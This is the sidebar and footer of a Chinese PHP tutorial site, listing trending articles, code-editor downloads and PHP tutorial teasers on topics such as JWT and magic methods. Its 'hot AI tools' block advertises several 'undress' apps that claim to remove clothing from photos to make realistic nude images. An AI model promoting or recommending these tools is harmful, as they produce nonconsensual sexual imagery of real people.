本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

AI Hentai Generator

AI Hentai Generator

免費產生 AI 無盡。

熱門文章

R.E.P.O.能量晶體解釋及其做什麼(黃色晶體)
4 週前 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.最佳圖形設置
4 週前 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.如果您聽不到任何人,如何修復音頻
4 週前 By 尊渡假赌尊渡假赌尊渡假赌
WWE 2K25:如何解鎖Myrise中的所有內容
1 個月前 By 尊渡假赌尊渡假赌尊渡假赌

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

適用於 Ubuntu 和 Debian 的 PHP 8.4 安裝和升級指南 適用於 Ubuntu 和 Debian 的 PHP 8.4 安裝和升級指南 Dec 24, 2024 pm 04:42 PM

PHP 8.4 帶來了多項新功能、安全性改進和效能改進,同時棄用和刪除了大量功能。 本指南介紹如何在 Ubuntu、Debian 或其衍生版本上安裝 PHP 8.4 或升級到 PHP 8.4

如何設定 Visual Studio Code (VS Code) 進行 PHP 開發 如何設定 Visual Studio Code (VS Code) 進行 PHP 開發 Dec 20, 2024 am 11:31 AM

Visual Studio Code,也稱為 VS Code,是一個免費的原始碼編輯器 - 或整合開發環境 (IDE) - 可用於所有主要作業系統。 VS Code 擁有大量針對多種程式語言的擴展,可以輕鬆編寫

您如何在PHP中解析和處理HTML/XML? 您如何在PHP中解析和處理HTML/XML? Feb 07, 2025 am 11:57 AM

本教程演示瞭如何使用PHP有效地處理XML文檔。 XML(可擴展的標記語言)是一種用於人類可讀性和機器解析的多功能文本標記語言。它通常用於數據存儲

php程序在字符串中計數元音 php程序在字符串中計數元音 Feb 07, 2025 pm 12:12 PM

字符串是由字符組成的序列,包括字母、數字和符號。本教程將學習如何使用不同的方法在PHP中計算給定字符串中元音的數量。英語中的元音是a、e、i、o、u,它們可以是大寫或小寫。 什麼是元音? 元音是代表特定語音的字母字符。英語中共有五個元音,包括大寫和小寫: a, e, i, o, u 示例 1 輸入:字符串 = "Tutorialspoint" 輸出:6 解釋 字符串 "Tutorialspoint" 中的元音是 u、o、i、a、o、i。總共有 6 個元

在PHP API中說明JSON Web令牌(JWT)及其用例。 在PHP API中說明JSON Web令牌(JWT)及其用例。 Apr 05, 2025 am 12:04 AM

JWT是一種基於JSON的開放標準,用於在各方之間安全地傳輸信息,主要用於身份驗證和信息交換。 1.JWT由Header、Payload和Signature三部分組成。 2.JWT的工作原理包括生成JWT、驗證JWT和解析Payload三個步驟。 3.在PHP中使用JWT進行身份驗證時,可以生成和驗證JWT,並在高級用法中包含用戶角色和權限信息。 4.常見錯誤包括簽名驗證失敗、令牌過期和Payload過大,調試技巧包括使用調試工具和日誌記錄。 5.性能優化和最佳實踐包括使用合適的簽名算法、合理設置有效期、

我後悔之前不知道的 7 個 PHP 函數 我後悔之前不知道的 7 個 PHP 函數 Nov 13, 2024 am 09:42 AM

如果您是經驗豐富的PHP 開發人員,您可能會感覺您已經在那裡並且已經完成了。操作

解釋PHP中的晚期靜態綁定(靜態::)。 解釋PHP中的晚期靜態綁定(靜態::)。 Apr 03, 2025 am 12:04 AM

靜態綁定(static::)在PHP中實現晚期靜態綁定(LSB),允許在靜態上下文中引用調用類而非定義類。 1)解析過程在運行時進行,2)在繼承關係中向上查找調用類,3)可能帶來性能開銷。

什麼是PHP魔術方法(__ -construct,__destruct,__call,__get,__ set等)並提供用例? 什麼是PHP魔術方法(__ -construct,__destruct,__call,__get,__ set等)並提供用例? Apr 03, 2025 am 12:03 AM

PHP的魔法方法有哪些? PHP的魔法方法包括:1.\_\_construct,用於初始化對象;2.\_\_destruct,用於清理資源;3.\_\_call,處理不存在的方法調用;4.\_\_get,實現動態屬性訪問;5.\_\_set,實現動態屬性設置。這些方法在特定情況下自動調用,提升代碼的靈活性和效率。

See all articles